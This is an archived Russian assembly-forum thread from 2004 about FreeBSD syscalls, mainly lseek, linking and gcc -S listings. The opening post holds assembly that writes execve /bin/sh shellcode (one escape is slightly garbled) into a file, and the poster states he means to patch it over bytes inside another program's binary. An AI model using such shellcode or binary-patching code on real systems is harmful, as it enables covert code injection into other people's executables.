· Начало · Отвђтить · Статистика · Поиск · FAQ · Правила · Установки · Язык · Выход · WASM.RU · Noir.Ru ·

 WASM Phorum —› WASM.UNIX —› [at&t] Помогите разобраться с syscall lseek в FreeBSD

Посл.отвђт Сообщенiе


Дата: Июн 30, 2004 10:04:49

Приветствую!
Помогите разобраться с синтаксисом обращения к syscall_lseek.
Имеем исходник:
.globl _start
_start:

# open file
xor %eax,%eax
push %eax
pushl $0x6c77656b #filename
movl %esp,%ebx
pushw $0666 # file attrib.
#pushw $0x0402 # перезаписывает файл.
pushw $0x0202 # записывает в начало.
pushl %ebx
pushl $5 # syscall open
push %eax
int $0x80

# lseek

# write.
movl %eax,%edx
xor %eax,%eax
push %eax
movl $ha,%ebx # чего пишем.
pushl $23 # сколько байт пишем.
pushl %ebx
pushl %edx
pushl $4 # syscall write
push %eax
int $0x80

#close file
xor %eax,%eax
pushl %edx
pushl $6 #syscall close
push %eax
int $0x80

# exit
xor %eax,%eax
push $1
push %eax
int $0x80
ha:
.asciz "\x99\x52\x68\x6e\x2f\x73\x68\x68\x2fx\2f"
.asciz "\x62\x69\x89\xe3\x51\x52\x53\x53\x6a\x3b"
.asciz "\x58\xcd\x80"

Хотелось бы сделать: программа ищет в файле определенную последовательность байт ( 0xDEAD например :) ). И
если их находит, то вместо них, и с последующим замещением байт записывает мой код ( $ha ). Как я понял
проще всего искать байты в теле программы с помощю системного вызова lseek.
Самостоятельно разобраться неполучилось, и примеров работы нигде не нашел :( Обращаюсь к вам
за помощью. Если есть исходники с примером использования в BSD lseek буду очень признателен.
Ну или свой пример :-)


Дата: Июн 30, 2004 10:27:29

looser
искать байты в теле программы с помощю системного вызова lseek
Сомневаюсь, что у FreeBSD особенная функция lseek. Afaik lseek - установить позицию указателя в файле с которой будет происходить дальнейшее чтение или запись. Поиск до сих пор осуществлялся чтением из файла и сравнением прочитанного с целевой последовательностью.


Дата: Июн 30, 2004 14:25:21

А что, гугл не в почёте сёдня?
http://samba.org/doxygen/samba_2_2/vfs-wrap_8c-source.html


Дата: Июл 1, 2004 10:41:56

А что, гугл не в почёте сёдня?
http://samba.org/doxygen/samba_2_2/vfs-wrap_8c-source.html[/i]
sorry, но в этом исходнике я не нашел пример применения lseek`а на at&t asm. Разбираться с c/c++ желания нет.


Дата: Июл 1, 2004 14:31:32 · Поправил: Shift

А опцию -S для gcc не включить? В сети есть примеры для Си - остаётся только скомпилить и посмотреть asm-листинг. Тем более это(-S) уже проскакивало на форуме.


Дата: Июл 2, 2004 10:20:30

Здорово!
А я и не знал про "волшебную" опцию -S.
Огромное спасибо за подсказку.


Дата: Июл 2, 2004 10:56:15

Эх, рано я обрадовался :)
Для теста сделал:

main()
{
printf("aaa\n");
}

gcc -S aaa.c
as -o aaa.o aaa.s

До этого момента все оk. Пытаюсь скомпилировать:

ld -o aaa aaa.o

aaa.o: In function '_start":
aaa.o(.text+00xf): undefined reference to 'printf'

Вот такая штука. Как я понял, не проходит обращение к сишной функции printf.

Подскажите как все это дело побороть?

Заранее спасибо за ответ.


Дата: Июл 2, 2004 12:26:09 · Поправил: Shift

Там нужно подключать GLIBC при линковке.Чтобы с этим не заморачиваться можно просто сделать двумя способами:
1)gcc aaa.s
2)as -o aaa.o aaa.s && gcc aaa.o
В обоих случаях черновую работу по подключению GLIBC берёт на себя gcc, что , кстати, не прокомментировано в Ассемблер в Unix


Дата: Июл 2, 2004 12:30:05

Shift
А опцию -S для gcc не включить?
Imho надеяться, что компилятор вставит в выходной ассемблеровский файл исходный код lseek вплоть до int $0x80 наивно.

looser
Не верной дорогой идешь.


Дата: Июл 2, 2004 12:42:08

q_q
В общем случае заморачиваться с сисколами - глупо.Как верно заметил один товарищ - порядок передачи параметров и сами вызовы системных функций стандартизованы ТОЛЬКО НА ВЫСОКОМ УРОВНЕ.


Дата: Июл 2, 2004 14:55:12

Согласен, использовать gcc -S для получения ассемблерных листингов - "это не наши методы".

Попробую расписать задачу более подробно. В первом посте я написал болванку будующей программы. Вместо lseek надо вставить процедуру которая будет искать нужное смещение.

Вот тот фрагмент _который_ я хочу пропатчить:
08048530 <suck>:
8048530: 55 push %ebp
8048531: 89 e5 mov %esp,%ebp
8048533: 83 ec 08 sub $0x8,%esp
8048536: 83 c4 fc add $0xfffffffc,%esp
8048539: 6a 05 push $0x5
804853b: 68 83 85 04 08 push $0x8048583
8048540: 6a 01 push $0x1
8048542: e8 71 fe ff ff call 80483b8 <_init+0x2c>
8048547: 83 c4 10 add $0x10,%esp
804854a: c9 leave
804854b: c3 ret

Как я понял - нужно искать смещение 0x0530.

Пишу код:
push $0
movw 0x0530 # смещение которое ищем.
mov %esp,%ecx
push $0x6c77656b # имя файла.
push %ebx
mov $119,%eax
int $0x80

Вроде как все правильно. НО при таком подходе он вообще в кору падает на pushw 0x0530
:-Q подскажите где я ошибаюсь.

Заранее спасибо за ответы.


Дата: Июл 2, 2004 15:33:32

Shift
заморачиваться с сисколами - глупо
Автор темы так хочет.

looser
Согласен, использовать gcc -S ... это не наши методы
Ты не правильно понял. Смотреть генерируемый код - полезно. Я же имел в виду, что такой подход не покажет тебе правильные параметры для int $0x80

Как я понял - нужно искать смещение 0x0530
Как ты сделал такой вывод?

смещение которое ищем
Повторяю. lseek не ищет, а позиционирует.
lseek принимает три параметра: дескриптор файла, смещение и флаг определяющий, как интерпретировать смещение.

ps почитай уже маны, прежде чем использовать функции.


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.056